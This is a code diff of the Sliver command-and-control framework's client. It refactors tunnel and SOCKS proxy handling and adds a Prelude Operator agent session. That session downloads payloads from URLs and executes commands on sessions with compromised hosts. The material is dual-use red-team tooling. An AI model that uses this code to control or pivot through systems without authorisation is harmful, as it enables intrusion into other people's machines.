 				con.App.SetPrompt(con.GetPrompt())
 			}
-			if prelude.ImplantMapper != nil {
-				err = prelude.ImplantMapper.RemoveImplant(session)
+			if prelude.SessionMapper != nil {
+				err = prelude.SessionMapper.RemoveSession(session)
 				if err != nil {
 					con.PrintEventErrorf("Could not remove session from Operator: %s", err)
 				}
@@ -236,16 +236,6 @@ func (con *SliverConsoleClient) EventLoop() {
 			con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v",
 				shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
 
-			// Prelude Operator
-			if prelude.ImplantMapper != nil {
-				err = prelude.ImplantMapper.AddImplant(beacon, func(taskID string, cb func(*clientpb.BeaconTask)) {
-					con.AddBeaconCallback(taskID, cb)
-				})
-				if err != nil {
-					con.PrintEventErrorf("Could not add beacon to Operator: %s", err)
-				}
-			}
-
 		case consts.BeaconTaskResultEvent:
 			con.triggerBeaconTaskCallback(event.Data)
 		}

client/constants/constants.go

@@ -167,7 +167,6 @@ const (
 	ExecuteStr = "execute"
 
 	LsStr       = "ls"
-	MvStr       = "mv"
 	RmStr       = "rm"
 	MkdirStr    = "mkdir"
 	CdStr       = "cd"

client/core/portfwd.go

@@ -1,23 +1,5 @@
 package core
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
 import (
 	"context"
 	"io"
@@ -134,7 +116,7 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) {
 	}
 	tunnel, err := p.dialImplant(ctx)
 	if cancel != nil {
-		defer cancel()
+		cancel()
 	}
 	if err != nil {
 		return
@@ -142,8 +124,8 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) {
 
 	// Cleanup
 	defer func() {
-		conn.Close()
-		GetTunnels().Close(tunnel.ID)
+		go conn.Close()
+		Tunnels.Close(tunnel.ID)
 	}()
 
 	errs := make(chan error, 1)
@@ -190,7 +172,7 @@ func (p *ChannelProxy) Host() string {
 	return host
 }
 
-func (p *ChannelProxy) dialImplant(ctx context.Context) (*TunnelIO, error) {
+func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
 
 	log.Printf("[tcpproxy] Dialing implant to create tunnel ...")
 
@@ -203,7 +185,7 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*TunnelIO, error) {
 		return nil, err
 	}
 	log.Printf("[tcpproxy] Created new tunnel with id %d (session %s)", rpcTunnel.TunnelID, p.Session.ID)
-	tunnel := GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
+	tunnel := Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
 
 	log.Printf("[tcpproxy] Binding tunnel to portfwd %d", p.Port())
 	portfwdResp, err := p.Rpc.Portfwd(ctx, &sliverpb.PortfwdReq{
@@ -237,7 +219,7 @@ func (p *ChannelProxy) dialTimeout() time.Duration {
 	return 30 * time.Second
 }
 
-func toImplantLoop(conn net.Conn, tunnel *TunnelIO, errs chan<- error) {
+func toImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
 	if wc, ok := conn.(*tcpproxy.Conn); ok && len(wc.Peeked) > 0 {
 		if _, err := tunnel.Write(wc.Peeked); err != nil {
 			errs <- err
@@ -250,7 +232,7 @@ func toImplantLoop(conn net.Conn, tunnel *TunnelIO, errs chan<- error) {
 	errs <- err
 }
 
-func fromImplantLoop(conn net.Conn, tunnel *TunnelIO, errs chan<- error) {
+func fromImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
 	n, err := io.Copy(conn, tunnel)
 	log.Printf("[tcpproxy] Closing from-implant after %d byte(s)", n)
 	errs <- err

client/core/socks.go

@@ -20,10 +20,11 @@ package core
 
 import (
 	"context"
+	"fmt"
+	"io"
 	"log"
 	"net"
 	"sync"
-	"sync/atomic"
 	"time"
 
 	"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -36,16 +37,16 @@ import (
 var (
 	// SocksProxies - Struct instance that holds all the portfwds
 	SocksProxies = socksProxy{
-		tcpProxies: map[uint64]*SocksProxy{},
+		tcpProxies: map[int]*SocksProxy{},
 		mutex:      &sync.RWMutex{},
 	}
 	SocksConnPool = sync.Map{}
-	SocksProxyID  = (uint64)(0)
+	SocksProxyID  = 0
 )
 
 // PortfwdMeta - Metadata about a portfwd listener
 type SocksProxyMeta struct {
-	ID        uint64
+	ID        int
 	SessionID string
 	BindAddr  string
 	Username  string
@@ -59,28 +60,14 @@ type TcpProxy struct {
 	Password        string
 	BindAddr        string
 	Listener        net.Listener
+	stopChan        bool
 	KeepAlivePeriod time.Duration
 	DialTimeout     time.Duration
 }
 
-func (tcp *TcpProxy) Stop() error {
-	err := tcp.Listener.Close()
-
-	// Closing all connections in pool
-	SocksConnPool.Range(func(key, value interface{}) bool {
-		con := value.(net.Conn)
-
-		con.Close()
-
-		return err == nil
-	})
-
-	return err
-}
-
 // SocksProxy - Tracks portfwd<->tcpproxy
 type SocksProxy struct {
-	ID           uint64
+	ID           int
 	ChannelProxy *TcpProxy
 }
 
@@ -96,7 +83,7 @@ func (p *SocksProxy) GetMetadata() *SocksProxyMeta {
 }
 
 type socksProxy struct {
-	tcpProxies map[uint64]*SocksProxy
+	tcpProxies map[int]*SocksProxy
 	mutex      *sync.RWMutex
 }
 
@@ -104,7 +91,6 @@ type socksProxy struct {
 func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy {
 	f.mutex.Lock()
 	defer f.mutex.Unlock()
-
 	Sockser := &SocksProxy{
 		ID:           nextSocksProxyID(),
 		ChannelProxy: tcpProxy,
@@ -115,56 +101,49 @@ func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy {
 }
 
 func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
-	ctx, cancel := context.WithCancel(context.Background())
-	proxy, err := tcpProxy.Rpc.SocksProxy(ctx)
-	defer cancel()
-
+	proxy, err := tcpProxy.Rpc.SocksProxy(context.Background())
 	if err != nil {
 		return err
 	}
 	go func() {
-		for {
+		for !tcpProxy.stopChan {
 			FromImplantSequence := 0
-			socksData, err := proxy.Recv()
+			p, err := proxy.Recv()
 			if err != nil {
-				log.Printf("Failed to Recv from proxy, %s\n", err)
 				return
 			}
 
-			if v, ok := SocksConnPool.Load(socksData.TunnelID); ok {
-				conn := v.(net.Conn)
-
-				if socksData.CloseConn {
-					conn.Close()
-					SocksConnPool.Delete(socksData.TunnelID)
+			if v, ok := SocksConnPool.Load(p.TunnelID); ok {
+				n := v.(net.Conn)
+				if p.CloseConn {
+					n.Close()
+					SocksConnPool.Delete(p.TunnelID)
 					continue
 				}
-				log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(socksData.Data))
+				log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(p.Data))
 				//fmt.Printf("recv data len %d \n", len(p.Data))
-				_, err := conn.Write(socksData.Data)
+				_, err := n.Write(p.Data)
 				if err != nil {
-					log.Printf("Failed to write data to proxy connection, %s\n", err)
 					continue
 				}
 				FromImplantSequence++
 			}
 		}
 	}()
-	for {
-		connection, err := tcpProxy.Listener.Accept()
+	for !tcpProxy.stopChan {
+		l, err := tcpProxy.Listener.Accept()
 		if err != nil {
-			log.Printf("Failed to accept new listener, probably already closed: %s\n", err)
-			break
+			return err
 		}
 		rpcSocks, err := tcpProxy.Rpc.CreateSocks(context.Background(), &sliverpb.Socks{
 			SessionID: tcpProxy.Session.ID,
 		})
 		if err != nil {
-			log.Printf("Failed rcp call to create socks %s\n", err)
-			break
+			fmt.Println(err)
+			return err
 		}
 
-		go connect(connection, proxy, &sliverpb.SocksData{
+		go connect(l, proxy, &sliverpb.SocksData{
 			Username: tcpProxy.Username,
 			Password: tcpProxy.Password,
 			TunnelID: rpcSocks.TunnelID,
@@ -172,18 +151,17 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
 		})
 	}
 	log.Printf("Socks Stop -> %s\n", tcpProxy.BindAddr)
-	tcpProxy.Stop() // well, at this moment we already in stop state, but anyway
+	tcpProxy.Listener.Close()
 	proxy.CloseSend()
 	return nil
 }
 
 // Remove - Remove a TCP proxy instance
-func (f *socksProxy) Remove(socksId uint64) bool {
+func (f *socksProxy) Remove(socksId int) bool {
 	f.mutex.Lock()
 	defer f.mutex.Unlock()
-
 	if _, ok := f.tcpProxies[socksId]; ok {
-		f.tcpProxies[socksId].ChannelProxy.Stop()
+		f.tcpProxies[socksId].ChannelProxy.stopChan = true
 		delete(f.tcpProxies, socksId)
 		return true
 	}
@@ -201,8 +179,9 @@ func (f *socksProxy) List() []*SocksProxyMeta {
 	return socksProxy
 }
 
-func nextSocksProxyID() uint64 {
-	return atomic.AddUint64(&SocksProxyID, 1)
+func nextSocksProxyID() int {
+	SocksProxyID++
+	return SocksProxyID
 }
 
 const leakyBufSize = 4108 // data.len(2) + hmacsha1(10) + data(4096)
@@ -213,19 +192,6 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
 
 	SocksConnPool.Store(frame.TunnelID, conn)
 
-	defer func() {
-		// It's neccessary to close and remove connection once we done with it
-		c, ok := SocksConnPool.LoadAndDelete(frame.TunnelID)
-		if !ok {
-			return
-		}
-		conn := c.(net.Conn)
-
-		conn.Close()
-
-		log.Printf("[socks] connection closed")
-	}()
-
 	log.Printf("tcp conn %q<--><-->%q \n", conn.LocalAddr(), conn.RemoteAddr())
 
 	buff := leakyBuf.Get()
@@ -233,12 +199,11 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
 	var ToImplantSequence uint64 = 0
 	for {
 		n, err := conn.Read(buff)
-
 		if err != nil {
-			log.Printf("[socks] (User to Client) failed to read data, %s ", err)
-			// Error basically means that the connection is closed(EOF) OR deadline exceeded
-			// In any of that cases, it's better to just giveup
-			return
+			if err == io.EOF {
+				return
+			}
+			continue
 		}
 		if n > 0 {
 			frame.Data = buff[:n]
@@ -246,7 +211,6 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
 			log.Printf("[socks] (User to Client) to Server to agent  Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
 			err := stream.Send(frame)
 			if err != nil {
-				log.Printf("[socks] (User to Client) failed to send data, %s ", err)
 				return
 			}
 			ToImplantSequence++

client/core/tunnel.go

@@ -1,54 +1,130 @@
 package core
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
 import (
+	"bytes"
 	"context"
 	"io"
 	"log"
+	"sync"
 
 	"github.com/bishopfox/sliver/protobuf/rpcpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
 )
 
+var (
+	// Tunnels - Holds refs to all tunnels
+	Tunnels tunnels
+)
+
+// Holds the tunnels locally so we can map incoming data
+// messages to the tunnel
+type tunnels struct {
+	tunnels *map[uint64]*Tunnel
+	mutex   *sync.RWMutex
+	stream  rpcpb.SliverRPC_TunnelDataClient
+}
+
+// Get - Get a tunnel
+func (t *tunnels) Get(tunnelID uint64) *Tunnel {
+	t.mutex.RLock()
+	defer t.mutex.RUnlock()
+	return (*t.tunnels)[tunnelID]
+}
+
+// Start - Add a tunnel to the core mapper
+func (t *tunnels) Start(tunnelID uint64, sessionID string) *Tunnel {
+	t.mutex.Lock()
+	defer t.mutex.Unlock()
+	tunnel := &Tunnel{
+		ID:        tunnelID,
+		SessionID: sessionID,
+		Send:      make(chan []byte),
+		Recv:      make(chan []byte),
+	}
+	(*t.tunnels)[tunnelID] = tunnel
+	go func() {
+		tunnel.IsOpen = true
+		for data := range tunnel.Send {
+			log.Printf("Send %d bytes on tunnel %d", len(data), tunnel.ID)
+			t.stream.Send(&sliverpb.TunnelData{
+				TunnelID:  tunnel.ID,
+				SessionID: tunnel.SessionID,
+				Data:      data,
+			})
+		}
+	}()
+	tunnel.Send <- make([]byte, 0) // Send "zero" message to bind client to tunnel
+	return tunnel
+}
+
+// Close - Close the tunnel channels
+func (t *tunnels) Close(tunnelID uint64) {
+	log.Printf("Closing tunnel %d", tunnelID)
+	t.mutex.Lock()
+	defer t.mutex.Unlock()
+	tunnel := (*t.tunnels)[tunnelID]
+	if tunnel != nil {
+		delete((*t.tunnels), tunnelID)
+		tunnel.IsOpen = false
+		close(tunnel.Recv)
+		close(tunnel.Send)
+	}
+}
+
+// Tunnel - Duplex data tunnel
+type Tunnel struct {
+	ID        uint64
+	IsOpen    bool
+	SessionID string
+
+	Send chan []byte
+	Recv chan []byte
+}
+
+// Write - Writer method for interface
+func (tun *Tunnel) Write(data []byte) (int, error) {
+	log.Printf("Write %d bytes", len(data))
+	if !tun.IsOpen {
+		return 0, io.EOF
+	}
+	tun.Send <- data
+	n := len(data)
+	return n, nil
+}
+
+// Read - Reader method for interface
+func (tun *Tunnel) Read(data []byte) (int, error) {
+	var buff bytes.Buffer
+	if !tun.IsOpen {
+		log.Printf("Warning: Read on closed tunnel %d", tun.ID)
+		return 0, io.EOF
+	}
+	recvData := <-tun.Recv
+	log.Printf("Read %d bytes", len(recvData))
+	buff.Write(recvData)
+	n := copy(data, buff.Bytes())
+	return n, nil
+}
+
 // TunnelLoop - Parses incoming tunnel messages and distributes them
 //              to session/tunnel objects
-// 				Expected to be called only once during initialization
 func TunnelLoop(rpc rpcpb.SliverRPCClient) error {
 	log.Println("Starting tunnel data loop ...")
 	defer log.Printf("Warning: TunnelLoop exited")
-
-	ctx, cancel := context.WithCancel(context.Background())
-	stream, err := rpc.TunnelData(ctx)
-	defer cancel()
-
+	stream, err := rpc.TunnelData(context.Background())
 	if err != nil {
 		return err
 	}
-
-	GetTunnels().SetStream(stream)
-
+	Tunnels = tunnels{
+		tunnels: &map[uint64]*Tunnel{},
+		mutex:   &sync.RWMutex{},
+		stream:  stream,
+	}
 	for {
-		log.Printf("Waiting for TunnelData ...")
-		incoming, err := stream.Recv()
-		log.Printf("Recv stream msg: %v", incoming)
-		log.Printf("Recv stream err: %s", err)
 
+		// log.Printf("Waiting for TunnelData ...")
+		incoming, err := stream.Recv()
+		// log.Printf("Recv stream msg: %v", incoming)
 		if err == io.EOF {
 			log.Printf("EOF Error: Tunnel data stream closed")
 			return nil
@@ -57,24 +133,16 @@ func TunnelLoop(rpc rpcpb.SliverRPCClient) error {
 			log.Printf("Tunnel data read error: %s", err)
 			return err
 		}
-		log.Printf("Received TunnelData for tunnel %d", incoming.TunnelID)
-		tunnel := GetTunnels().Get(incoming.TunnelID)
-
+		// log.Printf("Received TunnelData for tunnel %d", incoming.TunnelID)
+		tunnel := Tunnels.Get(incoming.TunnelID)
 		if tunnel != nil {
-			data := incoming.GetData()
-
-			log.Printf("This is data on tunnel %d: %s", tunnel.ID, data)
-
 			if !incoming.Closed {
 				log.Printf("Received data on tunnel %d", tunnel.ID)
-				err = tunnel.RecvData(data)
-
-				if err != nil {
-					log.Printf("Warning! Error sending data to tunnel %d, %v", tunnel.ID, err)
-				}
+				tunnel.Recv <- incoming.GetData()
 			} else {
 				log.Printf("Closing tunnel %d", tunnel.ID)
-				GetTunnels().Close(tunnel.ID)
+				tunnel.IsOpen = false
+				close(tunnel.Recv)
 			}
 		} else {
 			log.Printf("Received tunnel data for non-existent tunnel id %d", incoming.TunnelID)

client/core/tunnel_io.go

@@ -1,146 +0,0 @@
-package core
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"bytes"
-	"errors"
-	"io"
-	"log"
-	"sync"
-)
-
-// TunnelIO - Duplex data tunnel, compatible with both io.ReadWriter
-type TunnelIO struct {
-	ID        uint64
-	SessionID string
-
-	Send chan []byte
-	Recv chan []byte
-
-	isOpen bool
-	mutex  *sync.RWMutex
-}
-
-// NewTunnelIO - Single entry point for creating instance of new TunnelIO
-func NewTunnelIO(tunnelID uint64, sessionID string) *TunnelIO {
-	log.Printf("New tunnel!: %d", tunnelID)
-
-	return &TunnelIO{
-		ID:        tunnelID,
-		SessionID: sessionID,
-		Send:      make(chan []byte),
-		Recv:      make(chan []byte),
-		isOpen:    false,
-		mutex:     &sync.RWMutex{},
-	}
-}
-
-// Write - Writer method for interface
-func (tun *TunnelIO) Write(data []byte) (int, error) {
-	if !tun.IsOpen() {
-		log.Printf("Warning: Write on closed tunnel %d", tun.ID)
-		return 0, io.EOF
-	}
-
-	// This is necessary to avoid any race conditions on thay byte array
-	dataCopy := make([]byte, len(data))
-	n := copy(dataCopy, data)
-
-	log.Printf("Write %d bytes", n)
-	log.Printf("This bytes is: %s", dataCopy)
-
-	tun.Send <- dataCopy
-
-	return n, nil
-}
-
-// Read - Reader method for interface
-func (tun *TunnelIO) Read(data []byte) (int, error) {
-	recvData, ok := <-tun.Recv
-	if !ok {
-		log.Printf("Warning: Read on closed tunnel %d", tun.ID)
-		return 0, io.EOF
-	}
-
-	var buff bytes.Buffer
-	log.Printf("Read %d bytes", len(recvData))
-	buff.Write(recvData)
-
-	n := copy(data, buff.Bytes())
-	return n, nil
-}
-
-// Close - Close tunnel IO operations
-func (tun *TunnelIO) Close() error {
-	tun.mutex.Lock()
-	defer tun.mutex.Unlock()
-
-	if !tun.isOpen {
-		log.Printf("Warning: Close on closed tunnel %d", tun.ID)
-
-		// I guess we can ignore it and don't return any error
-		return nil
-	}
-
-	log.Printf("Close tunnel %d", tun.ID)
-
-	tun.isOpen = false
-
-	close(tun.Recv)
-	close(tun.Send)
-
-	return nil
-}
-
-func (tun *TunnelIO) IsOpen() bool {
-	tun.mutex.RLock()
-	defer tun.mutex.RUnlock()
-
-	return tun.isOpen
-}
-
-func (tun *TunnelIO) Open() error {
-	tun.mutex.Lock()
-	defer tun.mutex.Unlock()
-
-	if tun.isOpen {
-		return errors.New("tunnel relady in open state")
-	}
-
-	log.Printf("Open tunnel %d", tun.ID)
-
-	tun.isOpen = true
-
-	return nil
-}
-
-// RecvData - safe way to send data to internal Recv channel. Blocking.
-func (tun *TunnelIO) RecvData(data []byte) error {
-	tun.mutex.Lock()
-	defer tun.mutex.Unlock()
-
-	if !tun.isOpen {
-		return errors.New("closed tunnel")
-	}
-
-	tun.Recv <- data
-
-	return nil
-}

client/core/tunnels.go

@@ -1,162 +0,0 @@
-package core
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"errors"
-	"log"
-	"sync"
-
-	"github.com/bishopfox/sliver/protobuf/rpcpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-)
-
-var (
-	// tunnelsStorage - Holds refs to all tunnels
-	tunnelsStorage *tunnels
-
-	tunnelsSingletonLock = &sync.Mutex{}
-)
-
-// GetTunnels - singleton function that returns or initializes all tunnels
-func GetTunnels() *tunnels {
-	tunnelsSingletonLock.Lock()
-	defer tunnelsSingletonLock.Unlock()
-
-	if tunnelsStorage == nil {
-		log.Println("Creating single instance of tunnels.")
-
-		tunnelsStorage = &tunnels{
-			tunnels:     &map[uint64]*TunnelIO{},
-			mutex:       &sync.RWMutex{},
-			streamMutex: &sync.Mutex{},
-		}
-	}
-
-	return tunnelsStorage
-}
-
-// Holds the tunnels locally so we can map incoming data
-// messages to the tunnel
-type tunnels struct {
-	tunnels     *map[uint64]*TunnelIO
-	mutex       *sync.RWMutex
-	streamMutex *sync.Mutex
-	stream      rpcpb.SliverRPC_TunnelDataClient
-}
-
-func (t *tunnels) SetStream(stream rpcpb.SliverRPC_TunnelDataClient) {
-	t.streamMutex.Lock()
-	defer t.streamMutex.Unlock()
-
-	log.Printf("Set stream")
-
-	t.stream = stream
-}
-
-// Get - Get a tunnel
-func (t *tunnels) Get(tunnelID uint64) *TunnelIO {
-	t.mutex.RLock()
-	defer t.mutex.RUnlock()
-
-	log.Printf("Get tunnel %d", tunnelID)
-
-	return (*t.tunnels)[tunnelID]
-}
-
-// send - safe way to send a message to the stream
-// protobuf stream allow only one writer at a time, so just in case there is a mutex for it
-func (t *tunnels) send(tunnelData *sliverpb.TunnelData) error {
-	t.streamMutex.Lock()
-	defer t.streamMutex.Unlock()
-
-	if t.stream == nil {
-		return errors.New("uninitizlied stream")
-	}
-
-	log.Printf("Private send to stream, tunnelId: %d", tunnelData.TunnelID)
-
-	return t.stream.Send(tunnelData)
-}
-
-// Start - Add a tunnel to the core mapper
-func (t *tunnels) Start(tunnelID uint64, sessionID string) *TunnelIO {
-	t.mutex.Lock()
-	defer t.mutex.Unlock()
-
-	tunnel := NewTunnelIO(tunnelID, sessionID)
-
-	(*t.tunnels)[tunnelID] = tunnel
-
-	go func(tunnel *TunnelIO) {
-		tunnel.Open()
-		log.Printf("Tunnel now is open, %d", tunnelID)
-
-		for data := range tunnel.Send {
-			log.Printf("Send %d bytes on tunnel %d", len(data), tunnel.ID)
-
-			err := t.send(&sliverpb.TunnelData{
-				TunnelID:  tunnel.ID,
-				SessionID: tunnel.SessionID,
-				Data:      data,
-			})
-
-			if err != nil {
-				log.Printf("Error sending, %s", err)
-			}
-		}
-
-		log.Printf("Tunnel Send channel looks closed now. %d", tunnelID)
-	}(tunnel)
-
-	tunnel.Send <- make([]byte, 0) // Send "zero" message to bind client to tunnel
-	return tunnel
-}
-
-// Close - Close the tunnel channels
-func (t *tunnels) Close(tunnelID uint64) {
-	t.mutex.Lock()
-	defer t.mutex.Unlock()
-
-	log.Printf("Closing tunnel %d", tunnelID)
-
-	tunnel := (*t.tunnels)[tunnelID]
-
-	if tunnel != nil {
-		tunnel.Close()
-
-		delete((*t.tunnels), tunnelID)
-	}
-}
-
-// CloseForSession - closing all tunnels for specified session id
-func (t *tunnels) CloseForSession(sessionID string) {
-	t.mutex.RLock()
-	defer t.mutex.RUnlock()
-	log.Printf("Closing all tunnels for session %s", sessionID)
-
-	for tunnelID, tunnel := range *t.tunnels {
-		if tunnel.SessionID == sessionID {
-			// Weird way to avoid deadlocks but let it be
-			go func(tunnelID uint64) {
-				GetTunnels().Close(tunnelID)
-			}(tunnelID)
-		}
-	}
-}

client/prelude/agent-session.go

@@ -0,0 +1,166 @@
+package prelude
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bufio"
+	"bytes"
+	"context"
+	"encoding/json"
+	"fmt"
+	"io"
+	"io/ioutil"
+	"net"
+	"net/http"
+	"strings"
+	"time"
+
+	"github.com/bishopfox/sliver/client/prelude/util"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/rpcpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+const (
+	defaultTimeout = 60
+	delim          = "\r\n"
+)
+
+type AgentSession struct {
+	Conn    *net.Conn
+	Session *clientpb.Session
+	RPC     rpcpb.SliverRPCClient
+	Beacon  Beacon
+	Config  AgentConfig
+}
+
+func NewAgentSession(c *net.Conn, s *clientpb.Session, rpc rpcpb.SliverRPCClient, b Beacon, conf AgentConfig) *AgentSession {
+	return &AgentSession{
+		Conn:    c,
+		Session: s,
+		RPC:     rpc,
+		Config:  conf,
+		Beacon:  b,
+	}
+}
+
+func (a *AgentSession) ReceiveLoop() {
+	for {
+		err := a.send()
+		if err != nil {
+			return
+		}
+		scanner := bufio.NewScanner(*a.Conn)
+		for scanner.Scan() {
+			message := strings.TrimSpace(scanner.Text())
+			err = a.respond(message)
+			if err != nil {
+				return
+			}
+		}
+	}
+}
+
+func (a *AgentSession) send() error {
+	data, err := json.Marshal(a.Beacon)
+	if err != nil {
+		return err
+	}
+	dataBuff := bytes.NewReader(append(util.Encrypt(data), "\n"...))
+	sendBuffer := make([]byte, 1024)
+	for {
+		_, err := dataBuff.Read(sendBuffer)
+		if err == io.EOF {
+			return nil
+		}
+		if err != nil {
+			return err
+		}
+		if _, err = (*a.Conn).Write(sendBuffer); err != nil {
+			return err
+		}
+		time.Sleep(time.Duration(a.Beacon.Sleep))
+	}
+}
+
+func (a *AgentSession) respond(message string) error {
+	var tempBeacon Beacon
+	if err := json.Unmarshal([]byte(util.Decrypt(message)), &tempBeacon); err == nil {
+		a.Beacon.Links = a.Beacon.Links[:0]
+		a.runLinks(&tempBeacon)
+	}
+	a.refreshBeacon(&a.Config)
+	a.send()
+	return nil
+}
+
+func (a *AgentSession) runLinks(tempBeacon *Beacon) {
+	for _, link := range a.Config.StartInstructions(tempBeacon.Links) {
+		time.Sleep(time.Second * 1)
+		var payload []byte
+		if link.Payload != "" {
+			payload, _ = requestPayload(link.Payload)
+		}
+		response, status, pid := RunCommand(link.Request, link.Executor, payload, a)
+		link.Response = response
+		link.Status = status
+		link.Pid = pid
+		a.Beacon.Links = append(a.Beacon.Links, link)
+		a.Config.EndInstruction(link)
+	}
+}
+
+func requestPayload(target string) ([]byte, error) {
+	resp, err := http.Get(target)
+	if err != nil {
+		return nil, err
+	}
+	if resp.StatusCode != 200 {
+		return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
+	}
+	return ioutil.ReadAll(resp.Body)
+}
+
+func (a *AgentSession) refreshBeacon(conf *AgentConfig) {
+	var pwd string
+	pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
+		Request: MakeRequest(a.Session),
+	})
+	if pwdResp != nil {
+		pwd = pwdResp.Path
+	}
+	a.Beacon.Sleep = conf.Sleep
+	a.Beacon.Range = conf.Range
+	a.Beacon.Pwd = pwd
+	a.Beacon.Target = conf.Address
+	a.Beacon.Executing = conf.BuildExecutingHash()
+
+}
+
+func MakeRequest(session *clientpb.Session) *commonpb.Request {
+	if session == nil {
+		return nil
+	}
+	timeout := int64(defaultTimeout)
+	return &commonpb.Request{
+		SessionID: session.ID,
+		Timeout:   timeout,
+	}
+}

client/prelude/bof.go

@@ -1,23 +1,5 @@
 package prelude
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
 import (
 	"bytes"
 	"context"
@@ -27,6 +9,7 @@ import (
 
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/rpcpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 )
@@ -42,9 +25,9 @@ type bofArgs struct {
 	Value   interface{} `json:"value"`
 }
 
-func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs, onFinishCallback func(string, int, int)) (output string, err error) {
-	if !isLoaderLoaded(implant, rpc) {
-		err = registerLoader(implant, rpc)
+func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs) (output string, err error) {
+	if !isLoaderLoaded(session, rpc) {
+		err = registerLoader(session, rpc)
 		if err != nil {
 			return
 		}
@@ -54,8 +37,6 @@ func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args [
 	}
 	for _, a := range args {
